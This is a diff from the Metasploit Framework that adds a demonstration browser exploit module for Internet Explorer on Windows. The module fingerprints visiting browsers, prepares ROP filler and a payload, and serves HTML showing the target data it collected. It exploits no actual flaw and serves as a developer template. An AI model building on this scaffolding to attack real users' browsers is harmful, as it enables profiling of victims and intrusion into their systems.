it "should load the postInfo javascript" do
js = Rex::Exploitation::Js::Network.ajax_post
js.should =~ /function postInfo/
end
end
end
end
end

View File

@ -0,0 +1,149 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => "IE Exploit for BrowserExploitServer Proof-of-Concept",
'Description' => %q{
Here's an example of building an exploit using the BrowserExploitServer.
This example requires the target to be exploit. If not, the mixin will
send a fake 404 as a way to avoid engaging the target. The example is
for Windows only.
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r' ],
'References' =>
[
[ 'URL', 'http://metasploit.com' ]
],
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
#:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}", # ShockwaveFlash.ShockwaveFlash.1
#:method => "LoadMovie",
:os_name => /win/i
},
'Targets' =>
[
[ 'Automatic', {} ],
[
'Windows XP with IE 8',
{
'os_flavor' => 'XP',
'ua_name' => 'MSIE',
'ua_ver' => '8.0',
'Rop' => true,
'Offset' => 0x100
}
],
[
'Windows 7 with IE 9',
{
'os_flavor' => '7',
'ua_name' => 'MSIE',
'ua_ver' => '9.0',
'Rop' => true,
'Offset' => 0x100
}
],
[
'Windows 7 with IE 10',
{
'os_flavor' => '7',
'ua_name' => 'MSIE',
'ua_ver' => '10.0',
'Rop' => true,
'Offset' => 0x100
}
]
],
'Payload' =>
{
'BadChars' => "\x00", #Our spray doesn't like null bytes
'StackAdjustment' => -3500
},
'Privileged' => false,
'DisclosureDate' => "Apr 1 2013",
'DefaultTarget' => 0))
end
#
# This example shows how to use ERB and being able to use the arguments and local vars
#
def exploit_template1(target_info, txt)
txt2 = "I can use local vars!"
template = %Q|
<% msg = "This page is generated by an exploit" %>
<%=msg%><br>
<%=txt%><br>
<%=txt2%><br>
<p></p>
Data gathered from source: #{target_info[:source]}<br>
OS name: #{target_info[:os_name]}<br>
Flavor: #{target_info[:os_flavor]}<br>
UA name: #{target_info[:ua_name]}<br>
UA version: #{target_info[:ua_ver]}<br>
Java version: #{target_info[:java]}<br>
Office version: #{target_info[:office]}
|
return template, binding()
end
#
# This example shows how to generate an ERB template without passing binding
#
def exploit_template2(target_info)
%Q|
<% msg = "This page is generated by an exploit" %>
<%=msg%><br>
<p></p>
Data gathered from source: #{target_info[:source]}<br>
OS name: #{target_info[:os_name]}<br>
Flavor: #{target_info[:os_flavor]}<br>
UA name: #{target_info[:ua_name]}<br>
UA version: #{target_info[:ua_ver]}<br>
Java version: #{target_info[:java]}<br>
Office version: #{target_info[:office]}
|
end
def on_request_exploit(cli, request, target_info)
print_debug("Target selected: #{get_target.name}")
print_line(Rex::Text.to_hex_dump([rop_junk].pack("V*")))
print_line(Rex::Text.to_hex_dump([rop_nop].pack("V*")))
p = get_payload(cli, target_info)
vprint_line(Rex::Text.to_hex_dump(p))
print_status("Sending exploit HTML...")
# Randomly pick a template to test
if [true, false].sample
txt = "I can pass more args"
send_exploit_html(cli, exploit_template1(target_info, txt))
else
send_exploit_html(cli, exploit_template2(target_info))
end
end
def exploit
super
end
end
=begin
Example of raw target_info:
{:source=>"script", :os_name=>"Microsoft Windows", :os_flavor=>"XP", :ua_name=>"MSIE", :ua_ver=>"8.0", :arch=>"x86", :office=>"null", :proxy=>false, :language=>"en-us", :tried=>true}
=end